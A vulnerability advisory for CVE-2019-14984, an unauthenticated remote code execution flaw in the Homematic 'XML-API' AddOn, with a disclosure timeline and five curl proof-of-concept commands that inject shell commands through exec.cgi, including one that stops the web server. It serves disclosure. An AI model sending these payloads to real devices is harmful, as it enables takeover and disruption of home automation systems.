CVE-2019-14984 eQ-3 Homematic AddOn 'XML-API' version 1.2.0 and prior on CCU2 and CCU3 allows Remote Code Execution by unauthenticated attackers with access to the web interface by usage of /addons/xmlapi/exec.cgi script, which executes TCL script content from HTTP POST request

Overview

  • CVE: CVE-2019-14984
  • Author: psytester
  • Title: eQ-3 Homematic AddOn ‘XML-API’ version 1.2.0 and prior on CCU2 and CCU3 allows Remote Code Execution by unauthenticated attackers with access to the web interface by usage of /addons/xmlapi/exec.cgi script, which executes TCL script content from HTTP POST request
  • Vulnerability Type: CWE-284: Improper Access Control
  • CVSSv3 Base Score: 10.0
  • CVSSv3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • Publishing Date: 13.08.2019
  • Updated: –
  • Vendor: eQ-3 AG for CCU Firmware is providing possibility to install AddOn software
  • Product: Homematic CCU2 and CCU3
  • Vendor eQ-3 contacted: 13.02.2019
  • Vendor eQ-3 response on 11.04.2019 with “not responsible for AddOns”
  • Addon itself:
    • Developer of ‘XML-API’ AddOn contacted: 13.03.2019
    • Developer of ‘XML-API’ AddOn confirmation: N.A.
    • ‘XML-API’ AddOn patch: N.A. but a Github PR #31 is still open since 14.05.2019
    • Affected ‘XML-API’ AddOn version: 1.2.0 and prior

Background

From Github ‘XML-API’ AddOn project page:
A HomeMatic CCU Addon implementing a xml request functionality as an interface to all homematic deviced available to a CCU device. This addon provides useful scripts that can be accessed via a HTTP request to a CCU device and allows to query and set all e.g. room- and devicetype names.

From eQ-3 vendor’s website for CCU2:
HomeMatic Central Control Unit CCU2

Homematic Central Control Unit is the central element of your Homematic system, offering a whole range of control, monitoring and configuration options for all the Homematic devices in your installation
[….]

From eQ-3 vendor’s website for CCU3:
The Central Control Unit CCU3 is the central element for local control of the Homematic IP smart home system. It represents the next generation of our proven Homematic Central Control Units CCU1 and CCU2. Operation via the Central Control Unit CCU3 can be used alternatively to the Homematic IP Access Point. While the Access Point establishes the connection to the free Homematic IP cloud and enables operation of the smart home system via a smartphone app, the Central Control Unit CCU3 works locally via a browser-based web interface (WebUI). Thanks to local configuration and operation as well as the option to create direct device connections, reliable and fail-proof operation of the smart home system is guaranteed at all times – even in the event of Internet failures.
[….]

Issue Description

While analyzing the CCU web interface based on given page files in file system path /www, this is another Improper Access Control resulting into Remote Code Execution vulnerability located in ‘XML-API’ AddOn, if it’s installed. This vulnerability can be exploited by unauthenticated attackers with access to the web interface.

The following HTTP requests in Web Browser illustrates the attack vectors:

  1. RCE with Homematic undocumented internal system.Exec() call:
    curl -X POST -i 'http://1.2.3.4/addons/script/exec.cgi' --data 'var x=system.Exec("sleep 4;");'
    curl -X POST -i 'http://1.2.3.4/addons/script/exec.cgi' --data 'var x=system.Exec("/bin/touch /tmp/testfile;");'
    curl -X POST -i 'http://1.2.3.4/addons/script/exec.cgi' --data 'var x=system.Exec("/etc/init.d/S50lighttpd stop;");'
    
  2. If also the popular CUxD AddOn is installed, another RCE is possible by abuse of the virtual CUxD’CMD_EXEC’ device:
    curl -X POST -i 'http://1.2.3.4/addons/script/exec.cgi' --data 'var x=dom.GetObject("CUxD.CUX2801001:1.CMD_EXEC").State("/bin/touch /tmp/testfile");'
    curl -X POST -i 'http://1.2.3.4/addons/script/exec.cgi' --data 'var x=dom.GetObject("CUxD.CUX2801001:1.CMD_EXEC").State("/etc/init.d/S50lighttpd stop");'
    

CVE

CVE-2019-14984

CVSSv3 Base Score

CVSSv3 Base Score: 10.0

CVSSv3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Credit

psytester

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You can download
piVCCU for running the original CCU3 Firmware in lxc container on RaspberryPi
RaspberryMatic for running the opensource OCCU based release on different boards

Disclaimer

The information provided is released “as is” without warranty of any kind. The publisher disclaims all warranties, either express or implied, including all warranties of merchantability. No responsibility is taken for the correctness of this information. In no event shall the publisher be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if the publisher has been advised of the possibility of such damages.

The contents of this advisory are copyright (c) 2019 by psytester and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

Written on August 13, 2019